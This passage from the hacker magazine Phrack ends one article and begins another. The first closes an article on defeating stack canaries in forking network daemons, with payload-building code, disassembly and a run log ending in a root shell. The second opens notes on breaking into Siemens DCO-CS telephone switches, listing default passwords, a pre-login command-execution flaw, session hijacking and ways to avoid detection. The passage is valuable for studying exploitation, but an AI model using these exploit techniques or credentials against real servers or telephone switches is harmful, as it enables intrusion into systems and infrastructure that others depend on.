Additionally if Ascii Armour protection is used, the most significant byte
|
|
of the address will be 0x00 (something which does not happen under PaX).
|
|
|
|
The conclusion is that the amount to bruteforce is so small that it can be
|
|
done in a couple of seconds/minutes through the network.
|
|
|
|
Studying the stack layout
|
|
--------------------------
|
|
|
|
Thanks to our debugging function, it's easy to see the stack layout when
|
|
the crash occurs. Here is the layout on an Ubuntu 10.04 before the
|
|
overflow:
|
|
|
|
bfa38648: 00000000 00000000 00000000 00000000
|
|
bfa38658: 00000000 00000000 00000000 00000000
|
|
bfa38668: 00000000 00000000 00000000 00000000
|
|
bfa38678: 00000000 00000000 00000000 00000000
|
|
bfa38688: 00000000 00000000 00000000 00000000
|
|
bfa38698: 00000000 00000000 00000000 00000000
|
|
bfa386a8: 00000000 8c261700 00000004 005cdff4
|
|
bfa386b8: bfa387f8 005cbec1 bfa386f4 00000004
|
|
bfa386c8: 0000005f 00000000 00258be0 00257ff4
|
|
bfa386d8: 00000000 0000005f 00000003 00000004
|
|
bfa386e8: 0000029a 00000010 00000000 6e6c7576
|
|
|
|
We can thus see that:
|
|
|
|
*) The cookie (0x8c261700) is at 0xbfa386ac.
|
|
*) The return address is 0x005cbec1
|
|
*) The argument of vuln_func() are (0xbfa386f4, 0x4 and 0x5f)
|
|
|
|
There is a really nice way to take advantage of this situation. If we chose
|
|
to return into the 'call vuln_func()' instruction then the arguments will
|
|
be reused and the function replayed which will generate the needed network
|
|
flow to detect the right value of the base address. Here is the C code
|
|
building our payload:
|
|
|
|
addr_callvuln = P_REL_CALLVULN + (base_addr << 12);
|
|
|
|
*(buf_addr++) = canary;
|
|
*(buf_addr++) = addr_callvuln; // <-- dummy
|
|
*(buf_addr++) = addr_callvuln; // <-- dummy
|
|
*(buf_addr++) = addr_callvuln; // <-- dummy
|
|
*(buf_addr++) = addr_callvuln; // <-- ret-into-callvuln!
|
|
|
|
Note: Overwriting the next 4 bytes (args) with addr_callvuln is also
|
|
possible. Depending on the situation (whether you have the binary or not),
|
|
it can be an option to help with the bruteforce.
|
|
|
|
Returning-into-system
|
|
---------------------
|
|
|
|
Now the idea is to get the shell. Since we know the load address, the only
|
|
thing that needs to be done is to call a function which will give us a
|
|
shell. Again this is very specific to the daemon that you need/want to
|
|
exploit but in this case, I exploited the use of system(). Indeed in the
|
|
code you can find:
|
|
|
|
|
|
c8d: e8 d6 fb ff ff call 868 <system@plt>
|
|
|
|
^------------------------------- cool offset
|
|
|
|
One may object that there is also the system parameter to find but "args"
|
|
is on the stack and pointing to a user controlled buffer which means that
|
|
we can do a return-into-callsystem(args).
|
|
|
|
Note: In this case we were lucky (it was not done on purpose!) but the
|
|
following situation could also have occurred:
|
|
|
|
int vuln_func(int fd, char *args, int ile);
|
|
|
|
In this case, the layout would be...
|
|
|
|
[ .... ]
|
|
[ old_ebp ]
|
|
[ old_eip ]
|
|
[ fd ]
|
|
[ args ]
|
|
[ ile ]
|
|
[ .... ]
|
|
|
|
This would make no difference as we could use a return-into-ret and
|
|
overwrite fd with callsystem. An other solution would be to deduce the
|
|
address of the system() entry in the PLT and to call it as its first
|
|
argument would be "args" (classical return-into-func).
|
|
|
|
Note: It may happen in real life situation that you have no stack address
|
|
at disposal. Thus there are 2 solutions:
|
|
|
|
*) You bruteforce this address. It's lame. But sometimes you have no
|
|
other options (like when the overflow is limited which restricts
|
|
your ability to performed chained return-into-*.
|
|
|
|
*) You create a new stack frame somewhere in the .data section. Knowing
|
|
the loading address of the ELF object, it's easy to locate the .data
|
|
section. You would thus be able to create a whole fake stack frame
|
|
using a chained return-into-read(fd, &newstack_in_data, len) and
|
|
then finally switch the stack using a leave-ret sequence. Fun and
|
|
100% cool.
|
|
|
|
It that all? Not quite. We need to be sure that we will be able to reach
|
|
the 'ret' before crashing. Let's have a look at the epilogue of the
|
|
function:
|
|
|
|
objdump --no-show-raw-insn -Mintel -d ./s
|
|
|
|
|
|
fb1: call 8f8 <memcpy@plt>
|
|
fb6: lea eax,[ebp-0x70] ; the overflow occurred
|
|
fb9: mov DWORD PTR [esp+0x4],eax
|
|
fbd: lea eax,[ebx-0x1bdf]
|
|
fc3: mov DWORD PTR [esp],eax
|
|
fc6: call 10ca <stack_dump>
|
|
fcb: mov DWORD PTR [esp+0x8],0x1e
|
|
fd3: lea eax,[ebx-0x1bd8]
|
|
fd9: mov DWORD PTR [esp+0x4],eax
|
|
fdd: mov eax,DWORD PTR [ebp+0xc] ; we control the fd
|
|
fe0: mov DWORD PTR [esp],eax
|
|
fe3: call 878 <write@plt>
|
|
fe8: mov eax,0x1
|
|
fed: jmp 10b0 <vuln_func+0x1b1>
|
|
|
|
[...]
|
|
|
|
10b0: mov edx,DWORD PTR [ebp-0xc]
|
|
10b3: xor edx,DWORD PTR gs:0x14
|
|
10ba: je 10c1 <vuln_func+0x1c2>
|
|
10bc: call 1280 <__stack_chk_fail_local>
|
|
10c1: add esp,0x94
|
|
10c7: pop ebx ; interesting
|
|
10c8: pop ebp
|
|
10c9: ret
|
|
|
|
The deadlisting is quite straightforward. The only local variable that is
|
|
trashed is the fd used by write(). Does it matter? No. In the worst case,
|
|
the write() will return an EBADF error.
|
|
|
|
What about the ebx register? Well as a matter of fact, it is important to
|
|
restore its value since it's a PIE. Indeed ebx is used as a global address:
|
|
|
|
00000868 <system@plt>:
|
|
868: jmp DWORD PTR [ebx+0x20] ; ebx is pointing on the PLT
|
|
; (.got.plt)
|
|
86e: push 0x28
|
|
873: jmp 808 <_init+0x30>
|
|
|
|
It's no big deal since the address of the .got.plt section is exactly:
|
|
load_addr + the memory offset (cf. readelf -S). Here is the final stack
|
|
frame:
|
|
|
|
*(buf_addr++) = 0x00000004;
|
|
*(buf_addr++) = (P_REL_GOT + (base_addr << 12)); // used by the GOT.
|
|
*(buf_addr++) = 0x41414141;
|
|
*(buf_addr++) = system_addr;
|
|
// <-- Here is the buffer address
|
|
|
|
|
|
When there is no system()
|
|
-------------------------
|
|
|
|
The previous situation was a bit optimistic. Indeed when system() is not
|
|
used in the program, there is obviously no "call system" instruction (and
|
|
no corresponding PLT entry either). But it's no big deal a
|
|
return-into-write-like() function is always possible as illustrated below:
|
|
|
|
*(buf_addr++) = 0x00000004;
|
|
*(buf_addr++) = (P_REL_GOT + (base_addr << 12));
|
|
*(buf_addr++) = 0x41414141;
|
|
*(buf_addr++) = write_addr; // retun into call_write(fd, buf, count)
|
|
*(buf_addr++) = 0x00000004; // fd
|
|
*(buf_addr++) = some_addr; // buf
|
|
*(buf_addr++) = 0x00000005; // count
|
|
|
|
With such a primitive it's easy to info leak anything needed. This could
|
|
allow you to perform a return-into-dl-resolve() as illustrated in [10]. The
|
|
implementation of this technique with the PoC exploit is left as an
|
|
exercise for the reader.
|
|
|
|
Final algorithm
|
|
---------------
|
|
|
|
So in the end the final algorithm is:
|
|
|
|
1) Looking for the distance needed to reach the canary of the death
|
|
2) Finding the value of this canary using a 'byte-by-byte' brute force
|
|
method
|
|
3) Using the value of this canary to legitimate overflows, we should start
|
|
finding the code segment by returning in a function leaking information.
|
|
4) Deducing everything needed using the load address
|
|
5) Build a new chained return-into-* attack and get the shell!
|
|
|
|
And it should give you something like that:
|
|
|
|
---------------------------------------------------------------------------
|
|
[root@pi3-test phrack]# gcc s.c -o s -fpie -pie -fstack-protector-all
|
|
[root@pi3-test phrack]# ./s
|
|
start
|
|
|
|
Launched into background (pid: 32145)
|
|
|
|
[root@pi3-test phrack]#
|
|
...
|
|
...
|
|
child 32106 terminated
|
|
sh: vuln: nie znaleziono polecenia
|
|
|
|
|
|
[pi3@pi3-test phrack]$ gcc moj.c -o moj
|
|
[pi3@pi3-test phrack]$ ./moj -v 127.0.0.1
|
|
|
|
...::: -=[ Bypassing pro-police PoC for server by Adam 'pi3
|
|
(pi3ki31ny)' Zabrocki ]=- :::...
|
|
|
|
[+] Trying to find the position of the canary...
|
|
[+] Found the canary! => offset = 101 (+11)
|
|
[+] Trying to find the canary...
|
|
[+] Found byte! => 0x8e
|
|
[+] Found byte! => 0x17
|
|
[+] Found byte! => 0xa4
|
|
[+] Found byte! => 0xd7
|
|
[+] Overwriting frame pointer (EBP?)...
|
|
[+] Overwriting instruction pointer (EIP?)...
|
|
[+] Starting bruteforce...
|
|
[+] Success! :) (0x110eee0a)
|
|
-> @call_write = 0x110eed6c
|
|
-> @call_system = 0x110eeb9b
|
|
[+] Trying ret-into-system...
|
|
[+] Connecting to bindshell...
|
|
|
|
pi3 was here :-)
|
|
Executing shell...
|
|
|
|
uid=0(root) gid=0(root)
|
|
grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
|
Linux pi3-test 2.6.32.13-grsec #1 SMP Thu May 13 17:07:21 CEST 2010 i686
|
|
i686 i386 GNU/Linuxexit;
|
|
---------------------------------------------------------------------------
|
|
|
|
The demo exploit can be found in the appendix. It was tested on many
|
|
systems including:
|
|
|
|
*) Linux (Fedora 10, Fedora 11, Fedora 12)
|
|
*) Linux with PaX patch (2.6.32.13-grsec)
|
|
*) OpenBSD (4.4, 4.5, 4.6)
|
|
*) FreeBSD (7.x)
|
|
|
|
|
|
---[ 6 - Conclusion
|
|
|
|
Due to modern protections, classical methods of exploitation may or may not
|
|
be sufficient to exploit remote stack overflows. We saw that in the context
|
|
of fork()-only daemons a few conditions were sometimes sufficient for that
|
|
purpose.
|
|
|
|
At this moment I want to send some greetings... I know it is lame and
|
|
unprofessional ;)
|
|
|
|
-> Ewa - moja kochana dziewczyna ;)
|
|
-> Akos Frohner, Tomasz Janiczek, Romain Wartel - you are good friends ;)
|
|
-> snoop, phunk, thorkill, Piotr Bania, Gynvael Coldwind, andrewg, and
|
|
#plhack@IRCNET
|
|
|
|
"... opetani samotnoscia..."
|
|
|
|
Best regards Adam Zabrocki. - "Ja tylko sprzatam..."
|
|
|
|
|
|
---[ 7 - References
|
|
|
|
[1] http://phrack.org/issues.html?issue=56&id=5#article
|
|
[2] The Shellcoder's Handbook - Chris Anley, John Heasman,
|
|
Felix "FX" Linder, Gerardo Richarte
|
|
[4] http://marc.info?m=97288542204811
|
|
[5] http://pax.grsecurity.net
|
|
[6] http://www.trl.ibm.com/projects/security/ssp/
|
|
[7] http://gcc.gnu.org/gcc-4.1/changes.html
|
|
[8] http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/
|
|
[9] http://sota.gen.nz/hawkes_openbsd.pdf
|
|
[10] http://www.phrack.org/issues.html?issue=58&id=4
|
|
[11] http://seclists.org/bugtraq/1997/Aug/63
|
|
[12] http://phrack.org/issues.html?issue=59&id=9#article
|
|
[13] http://www.phrack.org/issues.html?issue=63&id=14
|
|
|
|
---[ 8 - Appendix - PoC
|
|
|
|
---[ 8.1 - The server (s.c)
|
|
---[ 8.2 - The exploit (moj.c)
|
|
|
|
---[ EOF
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x0e of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-----=[ Notes Concerning the Security, Design and Administration ]=----=|
|
|
|=-----------=[ of Siemens DCO-CS Digital Switching Systems ]=-----------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=------------------------=[ By The Philosopher ]=-----------------------=|
|
|
|=--------------------=[ philosopher2600@gmail.com ]=--------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
|
|
Relevance/Context-
|
|
|
|
The Siemens DCO-CS (Digital Central Office Carrier Switch), the premier
|
|
Class 5 digital local office switching system to be introduced onto the
|
|
American PSTN, (by Stromberg-Carlson-Siemens had not yet purchased the
|
|
product line) was originally installed in 1977 in Richmond Hill, Virginia.
|
|
Designed as a robust switch rich in features primarily to be used for
|
|
smaller LECs, the DCO was produced for over a decade until Siemens, which
|
|
acquired the product line in 1990, halted production to focus upon
|
|
marketing the EWSD. Nonetheless the DCO-CS remains in relatively widespread
|
|
use throughout the PSTN, often in the possession of smaller CLECs (usually
|
|
servicing rural areas). For those who wish to explore PSTN switches as well
|
|
as those with the objective of securing them, the DCO-CS is worthy of
|
|
examination as security of any substance is largely nonexistent.
|
|
|
|
In light of the above historical information, evidently attributable
|
|
becomes the extremely poor security of the DCO-CS to the context of the
|
|
time period in which it was initially designed, within nearly a decade
|
|
prior to the wide proliferation of the hacker culture potentially
|
|
interested in unauthorized entry into telco switches; in addition, the
|
|
mentioned relative inclusiveness of features especially as were developed
|
|
and added to the existing MMI over a lengthy period of time serves to
|
|
establish the potential to defeat the security precautions built into the
|
|
switch with its own valid MMI commands. One example: although this is not
|
|
directly related to security, many commands in the debug utilities (GBUG,
|
|
FPBUG, DEBUG, etc.) in certain versions of the DCO-CS operating system are
|
|
redundant in that they are identical yet named differently, so that when
|
|
"HELP COMMAND" is entered at the prompt, identical help data will be
|
|
displayed for both command names, one of which is usually abbreviated.
|
|
Demonstrative this example is of the layered and almost modular evolution
|
|
of the DCO MMI. Software updates/upgrades are seemingly uploaded in a
|
|
modular fashion without regard for the previous state of the software in
|
|
question. The modularity of the interface is further reflected in the
|
|
incompatibility of particular utilities with the standard menu
|
|
characteristics. It may be observed, for example, that certain utilities
|
|
do not contain a "HELP" option as is typical, and that certain utilities
|
|
use a linear parameter input system rather than a menu-driven system. It
|
|
was likely anticipated upon the design of such programs/commands that the
|
|
user would be experienced in and knowledgeable of their usage, rendering an
|
|
extensive help file unnecessary.
|
|
|
|
A Distinction of DCO Terminology-
|
|
|
|
The words "program", "utility", and "command" will be used somewhat
|
|
interchangeably throughout this document, in reference to the commands
|
|
prefixed with a "$" at the main MMGR prompt (DCO>) that serve to invoke
|
|
interactive menu/parameter systems with specific functions. Also, "DCO"
|
|
actually refers to older software revisions prior to the Siemens
|
|
acquisition of the line, which was henceforth known as "DCO-CS", but here
|
|
it will simply be used as an abbreviation of sorts for the latter, since
|
|
the material in this article applies to most software revisions unless
|
|
stated otherwise. Also, DCO can refer to the entire DCO family of switches,
|
|
including DCO-E, DCO-SE, and DCO-RLS.
|
|
|
|
Objectives-
|
|
|
|
In formulating the structure of this paper I encountered minor difficulty
|
|
in the establishment of a consistent method of organization and concept
|
|
presentation. Initially I intended it to concern solely vulnerabilities
|
|
inherent in the design of the DCO-CS and commensurate methods of exploiting
|
|
them in order to maximize the concealment of one's presence in such a
|
|
system. Quickly I realized, however, that a great deal of explanation of
|
|
switch operation was necessary to provide a context in which to discuss
|
|
techniques of intrusion and anti-detection, and that documentation/articles
|
|
currently available to the underground are inadequate and quite lacking in
|
|
this regard; however, they are recommended reference material, for at
|
|
minimum they contain the text of the help files of the DCO and a small
|
|
amount of basic access suggestions. Consequently this writing exhibits both
|
|
modularity and general information, encompassing sections concerning
|
|
specific points of interest in conjunction with occasionally redundant
|
|
material regarding the switch itself. This facilitates rapid look-up and
|
|
browsing through specific techniques, while providing beginning readers
|
|
with a satisfactory base of navigational knowledge. It will be assumed,
|
|
though, that the reader has access to the help file text, available in
|
|
"Guide to navigating and using DCO", written by DemonBytez of CyBrids CSE,
|
|
and Mr. Nobody's "The DCO-CS Operating System", both available in various
|
|
locations on the Internet. One should also possess at least the background
|
|
knowledge covered in both of these articles in order to enhance one's
|
|
comprehension of much of the following material. In addition to technical
|
|
information surrounding the DCO-CS with an obvious emphasis upon security,
|
|
the following also contains the observations of the author as to the
|
|
administration of such switches and specifically common practices related
|
|
thereto. As the title suggests, these writings, while they present a
|
|
coherent article that one may fruitfully follow from introduction to
|
|
conclusion, exhibit the general form of notes. Specific techniques are
|
|
presented in a sort of "Problem/Solution" format. Also, for evident reasons
|
|
of which I am confident the reader is aware, the location data, dates, and
|
|
times have been altered or omitted from the captures included herein.
|
|
Specific node/site identification information is replaced with
|
|
"DCO_CITYDATA" in the following captures, and all dates and times are
|
|
either fictitious examples or zeroes simply designed to demonstrate the
|
|
general format of the messages. Also, another important note of which to be
|
|
mindful is that, while to the extent of the author's knowledge all of the
|
|
material contained within this article is correct, the observations made
|
|
will not necessarily apply to every DCO switch installation everywhere.
|
|
They are generalizations derived from a small sample size and should be
|
|
considered as such.
|
|
|
|
|
|
|
|
Speculative and Factual Observations as to the Nature of DCO Access
|
|
-------------------------------------------------------------------
|
|
|
|
and General Administration
|
|
--------------------------
|
|
|
|
DCO-CS Topology-
|
|
|
|
Note: "TTY" herein is used in accordance with its definition, "A generic
|
|
term for any computer terminal or associated serial interface" and
|
|
"terminal" is used in accordance with the definition, "a device
|
|
communicating over a line". (Source: Wikipedia @ http://www.wikipedia.org)
|
|
No references to teletypes or TDDs (Telecommunication Devices for the Deaf)
|
|
are intended.
|
|
|
|
Like the Lucent 5ESS, the Siemens DCO-CS is administered through different
|
|
TTYs (although, unlike the 5ESS, access to the DCO is not divided into as
|
|
many specialized "channels"), with different attributes and functions. The
|
|
four types of terminals on the switch, as listed in the help file of the
|
|
SETTYP option of the SECTTY utility, are UNEQ (unequipped), CRT (video
|
|
display-the I/O terminals from which the switch is directly administered),
|
|
TTP (paper printer), and MODEM. The identifying format of these terminals
|
|
is TTXX, where XX represents two digits. TT00 is the default system master
|
|
console, the terminal from which the MMI as well as various automatic
|
|
utilities are consistently run and at which all information, error and
|
|
alarm messages terminate (unless they are directed elsewhere-see later in
|
|
the document for further information). Dialups connect to other CRT
|
|
terminals for remote access.
|
|
|
|
MMI Idiosyncrasies-
|
|
|
|
A few notes on the use of the MMI: first, a semicolon ";" serves the same
|
|
function as a <CR> (carriage return). Backspaces are displayed as "u".
|
|
Within a few utilities, "EXIT" will take effect immediately after being
|
|
typed (without a <CR> or ;). If one is idle for a while at a prompt or
|
|
menu, "^U" will appear and the prompt will be re-displayed.
|
|
|
|
|
|
Account/User Hierarchy and Structure-
|
|
|
|
While the hierarchical filesystem arrangement of the DCO-CS bears a
|
|
striking fundamental resemblance to that of UNIX, organized a similar
|
|
hierarchy of directories and subdirectories with predefined permissions,
|
|
the user administration system exhibits numerous significant differences in
|
|
its structure. For example, there exists no "root" superuser with
|
|
unbridled access to everything, and no user account may interfere directly
|
|
in the affairs of another ("directly" here defined as "from the (same)
|
|
shell/session") as might be accomplished through successful execution of
|
|
the UNIX "su" command. User accounts are instead divided and categorized
|
|
into certain groups with certain "purposes" on the switch in anticipation
|
|
of differing necessities. The default groups are ADMIN, TMRS, STATUS,
|
|
MAINT, SECURE, NAC, ESPF, and SCAT respectively; by default their access is
|
|
assigned according to the necessary tasks of each type. The access rights
|
|
of accounts are not quantitatively equivalent, either-certain, more
|
|
generally used accounts are able to access far more by default than more
|
|
specialized accounts, the access of which is restricted to only those
|
|
utilities relevant to their intended functions. All of the usernames and
|
|
passwords to the various accounts within these groups are contained in the
|
|
file printed and modified using the utility $PASSWM. These may or may not
|
|
be set to the default, but it is rather likely that they will be, and even
|
|
if this is not the case the passwords are unlikely to be very complex due
|
|
to the limitations imposed by the MMI (passwords on a DCO may be at maximum
|
|
eight characters in length, and only alphanumeric) and simple human apathy;
|
|
in many instances it would seem as if extremely simplistic and
|
|
easily-guessable/crackable passwords are used on switches due to a
|
|
disbelief in the plausibility of unauthorized access. Regardless, the
|
|
default passwords for all pre-programmed usernames are simply the usernames
|
|
themselves-for instance, the SCAT/SCAT username/password combination. A
|
|
concise table of DCO default accounts is as follows:
|
|
|
|
DCO Defaults
|
|
____________
|
|
Username Password Group
|
|
======== ======== =====
|
|
ADMIN ADMIN ADMIN
|
|
SECURE SECURE SECURE
|
|
TMRS TMRS TMRS
|
|
SCAT SCAT SCAT
|
|
MAINT MAINT MAINT
|
|
STATUS STATUS STATUS
|
|
NAC NAC NAC
|
|
ESPF ESPF ESPF
|
|
|
|
|
|
It is significant to the attainment and preservation of one's access on a
|
|
DCO-CS switch to understand the previously mentioned expected "uses" of
|
|
each group of accounts, as one ought to align explorations of the switch
|
|
with the anticipated functions for reasons of stealth-an unauthorized user
|
|
is far less likely to be detected when using certain accounts for certain
|
|
functions that they are intended to be "legitimately" used for. The
|
|
execution of certain utilities while logged in under certain accounts might
|
|
be viewed as either suspicious or routine by a watchful administrator,
|
|
depending upon the account and context in which the activity occurs.
|
|
Although a few techniques exist that serve to provide such a user with a
|
|
greater degree of "freedom" in this regard by concealing from those
|
|
monitoring the switch evidence of non-routine activity as is covered
|
|
elsewhere in this article, it is still useful and certainly prudent to
|
|
coincide one's activity with appropriate accounts in a limited number of
|
|
instances. Plus, it is important to consider that the efficient and
|
|
stealthy employment of the techniques that follow may not always be
|
|
practical or possible, so this general method of remaining proverbially
|
|
"under the radar" is fundamentally beneficial. An explanation of the
|
|
various groups/default accounts follows:
|
|
|
|
ADMIN - This is an administrative group/account, used primarily for the
|
|
purposes of administering the various tables and databases on the switch,
|
|
especially those that pertain to network/routing functions. What the
|
|
authors of the previously mentioned DCO articles obviously failed to
|
|
realize, in their insinuations to the effect that ADMIN is an all-powerful
|
|
account with extremely extensive access rights, is that ADMIN is merely
|
|
another account with access rights defined according to the necessary tasks
|
|
of its group. It lacks access to a great deal by default, actually,
|
|
especially files and utilities concerning switch security. The access
|
|
rights of ADMIN often overlap with those of MAINT; therefore, it is
|
|
necessary to understand the differentiations between them, revealed
|
|
through a closer examination of the areas in which the two accounts/groups
|
|
do not overlap. MAINT, as explained in greater detail later, is an account
|
|
intended to be used for the performance of routine maintenance
|
|
functions-the administration of such tables is not routine maintenance, as
|
|
is reflected in the access rights of the MAINT group/account. The default
|
|
access of the admin account may also be conceptualized as the bridge of
|
|
sorts between "intra-switch" and "extra-switch" functions-that is,
|
|
functions (and corresponding utilities/files) that are related only to the
|
|
switch itself (intra-switch), and those with a broader sphere of influence
|
|
on the network (extra-switch). See the "Utility Diagram" for more
|
|
information on and examples of this concept. Examples of strictly
|
|
intra-switch functions include disk operations, processor operations,
|
|
debugging, etc.-similarly, examples of extra-switch functions include call
|
|
tracing, routing, trunk operations, WATS number functions, etc. ADMIN by
|
|
default also has access to intra-switch administrative utilities such as
|
|
ABNUTL (PERFORM AUTOMATIC BALANCE NETWORK FUNCTIONS), AUDIT (VERIFY S/W
|
|
RECORD OF H/W STATES MATCH ACTUAL H/W), COPY (COPY DATABASES FROM MEMORY TO
|
|
DISK), etc. where it overlaps with MAINT.
|
|
|
|
SECURE - The access of SECURE largely overlaps with all other account
|
|
groups on the utilities to which all or nearly all other account groups
|
|
have default access ($ABORT, $AMPUTL, $CONFIG, $DUMPER, $HEY, etc.). Its
|
|
specialization is revealed, though, in the utilities accessible only by it
|
|
and SCAT, or it, SCAT, and MAINT. These include various alarm utilities,
|
|
$PASSWM, $BLDINH, and $SECTTY-all utilities regarding switch security, as
|
|
the name of the group implies. In a limited number of cases SECURE may be
|
|
less conspicuous than SCAT if only these sorts of utilities must be
|
|
accessed.
|
|
|
|
TMRS - This group/account is primarily intended for uses related to the
|
|
Traffic Measurement and Recording System (TMRS), a system that gauges
|
|
network traffic through the switch and generates reports with pertinent
|
|
information. On a side note, TMRS may often be an active task on the master
|
|
console. It is able to access many intra-switch functions necessary to the
|
|
expedient operation of TMRS, as might be assumed-debug utilities,
|
|
configuration control, etc. Its access rights frequently overlap with those
|
|
of ADMIN and STATUS.
|
|
|
|
SCAT - The closest group/account present on the DCO-CS to a "superuser".
|
|
SCAT is an acronym for "Stromberg-Carlson Assistance Team", the DCO-CS
|
|
equivalent of ETAS on a DMS-100. The function of SCAT, while the DCO-CS
|
|
product line was supported by Stromberg-Carlson/Siemens, was to provide
|
|
technical support for the install base in the instance of technical
|
|
problems/failures, especially during emergencies (critical equipment
|
|
failure, software issues, etc.). As a result, SCAT is authorized by default
|
|
to access nearly everything on the switch within the filesystem, usually
|
|
with the highest access rights possible (typically RWX), as, in the event
|
|
of an emergency, such omnipotent access would be vitally necessary. The RWX
|
|
permission is a significant distinction of the SCAT group as most other
|
|
account groups only have read/execute permission on most files. However,
|
|
there are a few files on the switch that SCAT is not permitted to access
|
|
(by default, naturally)-for instance, the utility $AMCDMP (that which
|
|
administers AMA message thresholds). By default, SCAT is often the only
|
|
account/group authorized to log in through the dial-up ports, as only SCAT
|
|
would usually require remote access to the switch. Logging in as SCAT is
|
|
extremely conspicuous, though, particularly at odd hours, as the
|
|
account/group is NOT supposed to be used for routine/ordinary tasks. It
|
|
would be advisable from an unauthorized user's standpoint to perhaps log in
|
|
as SCAT once in order to authorize other account groups to log in through
|
|
the dialup(s), until the attentiveness of those overseeing the switch's
|
|
operation is gauged.
|
|
|
|
MAINT - MAINT is the general maintenance group/account on the DCO-CS; as
|
|
stated previously, it is used primarily for the performance/execution of
|
|
routine (and non-routine) tasks related to switch maintenance. As such, it
|
|
is authorized to access a great deal, often exclusively, where SCAT is the
|
|
only other account group with access rights on certain files. MAINT is the
|
|
only default account group/account, in fact, that is "exclusively"
|
|
authorized to access certain utilities in this manner. AMA is an example of
|
|
a such a utility to which only MAINT and SCAT have access rights in the
|
|
default/typical configuration. As might be expected, MAINT is mainly able
|
|
to access intra-switch functions. One preferred, recommended account for
|
|
preliminary exploration is MAINT, for it, as a maintenance account, is by
|
|
default enabled to access quite a few significant files and programs, and
|
|
suspicions may be less aroused should it be seen logging in at odd hours
|
|
and/or constantly.
|
|
|
|
STATUS - The STATUS group/account is, as its name implies, used for
|
|
checking and occasionally modifying the status of the system. Its access
|
|
overlaps frequently with ADMIN, MAINT, TMRS and, of course, SCAT; the
|
|
default access of STATUS is confined to "intra-switch" utilities and the
|
|
occasional utility not easily classified as either "intra-" or "extra-"
|
|
switch. Most of the utilities to which STATUS is assigned default access
|
|
are used for such functions as alarm management, various types of
|
|
verification, disk functions, conversion of equipment numbers, etc.
|
|
|
|
NAC - NAC is an acronym for "Network Access Control"-the administration
|
|
charged with overseeing the various pieces of equipment connected to the
|
|
network and general network interactions. Expectedly, its default access
|
|
mainly lies with "extra-switch" network utilities and the those used to
|
|
modify the aforementioned tables, also accessible with ADMIN. The NAC
|
|
terminal and thus group may not be equipped on a particular switch (see
|
|
"$SECTTY"), so it may not be possible to log in under the NAC default
|
|
account.
|
|
|
|
ESPF - ESP denotes, "Essential Service Protection". Along with ADMIN, NAC
|
|
and SCAT, ESPF is typically able to access "extra-switch" utilities such as
|
|
those related to routing, the hotline database, INWATS, class of service,
|
|
etc., all "essential services". As with NAC, the "ESPF option" may not be
|
|
equipped on a particular switch, and thus the account/group associated with
|
|
it may be unused. The $STATUS utility may be used to determine if it is
|
|
equipped:
|
|
|
|
STA> AREA TO DISPLAY (AREA=HELP) > ESPF
|
|
|
|
DCO_CITYDATA
|
|
09-00-00 00:00:00 MONDAY ESPF STATUS REPORT:
|
|
|
|
STATUS: ESPF OPTION NOT EQUIPPED
|
|
|
|
|
|
STATUS COMPLETE
|
|
|
|
|
|
Attainment of Access
|
|
--------------------
|
|
|
|
Upon connecting to a TTY via a dialup or another method, the LOGIN utility
|
|
is invoked automatically, which will prompt the user for the username and
|
|
password necessary to log in. By default ten attempts at login (entries of
|
|
a username and password pair) are permitted before the following message is
|
|
displayed, indicating an excess of unsuccessful attempts:
|
|
|
|
DCO_CITYDATA 09-00-00 00:00:00 LOGIN TT01
|
|
MP .0676:TTY=TT1 EXCESSIVE LOGIN ATTEMPTS
|
|
|
|
Subsequently the user will be "locked out" of the terminal for a period of
|
|
approximately five minutes in which the system remains unresponsive to
|
|
input. The amount of login attempts made is not "reset" if one disconnects
|
|
from the dialup/terminal and reconnects; instead, the tracking of login
|
|
attempts is based upon time-one must wait a few minutes prior to attempting
|
|
ten more login attempts.
|
|
|
|
|
|
Unauthorized Execution-
|
|
|
|
Prior to logging on to the switching station, the user is required within
|
|
approximately 15 seconds following successful connection to send a hard
|
|
break or a <CR> in order to display the prompt. Within this 15 second
|
|
period a vulnerability exists whereby a valid MMI (man-machine interface)
|
|
command typed and sent will be dutifully executed by the DCO, allowing
|
|
temporary control of the MMI command flow to anyone calling the dialup!
|
|
Potential for great compromise of the system exists if the attacker runs a
|
|
command such as $PASSWM, which prints a complete list of user accounts and
|
|
passwords on the switch in clear-text! Note: on the latest software
|
|
release, that released in 2003, the maintenance processor (MP) must be
|
|
experiencing a malfunction or otherwise be bogged down with an influx of
|
|
tasks for this technique to work properly. Of all of the vulnerabilities
|
|
presented here the execution of this is the most variable-it has been known
|
|
to occur, though, in instances of an MP malfunction, specifically on the
|
|
DCO-SE (see "An Additional Note:" for more information).
|
|
|
|
Absence of Automatic Logout-
|
|
|
|
Like several older versions of UNIX, the DCO-CS does not automatically log
|
|
out of a session in the instance of user disconnection from the
|
|
dialup/terminal. Anyone calling the switch will be thus enabled to
|
|
"drop in" on the other user's session in all aspects, in addition to being
|
|
able to execute commands if a user left the session open while hanging up
|
|
the connection/modem. This is task-specific-that is, if a task is not
|
|
aborted and the user who executed it hangs up, the sub-prompt for that task
|
|
will be displayed to anyone calling the switch thereafter as that task will
|
|
be active. This state may include tasks only supposed to be executable by
|
|
user accounts with higher levels of access. The sole measure necessary to
|
|
ensure success in gaining control of a session and hence potentially the
|
|
entire switch (as access may be modified- privileges escalated, depending
|
|
upon the account temporarily "hijacked" in this fashion, etc.) is to
|
|
consider the time zone in which the object switch is located, in order to
|
|
determine prime hours of operation and of account access and usage. In the
|
|
instance that the would-be intruder is physically unable to monitor the
|
|
dialup/port for dropped sessions and exploit them, a simple script written
|
|
in a language compatible with the terminal client of choice is all that is
|
|
required. Thus, this single characteristic of the switch-among others, it
|
|
is certain, seen previously and henceforth in this admittedly alinear
|
|
document-ensures that one who accrues the knowledge of a dialup is very
|
|
nearly guaranteed successful infiltration/ penetration of it, even in the
|
|
face of other, also ineffective barriers erected presumably for purposes of
|
|
security. However, one may experience a limited degree of difficulty with
|
|
this method of intrusion in the instance that one has logged in via the
|
|
dialup port and properly logged out, in which case another one of the
|
|
aforementioned loopholes may be traversed in order to gain eventual
|
|
unfettered access. Also, an option does exist within the $SECTTY utility
|
|
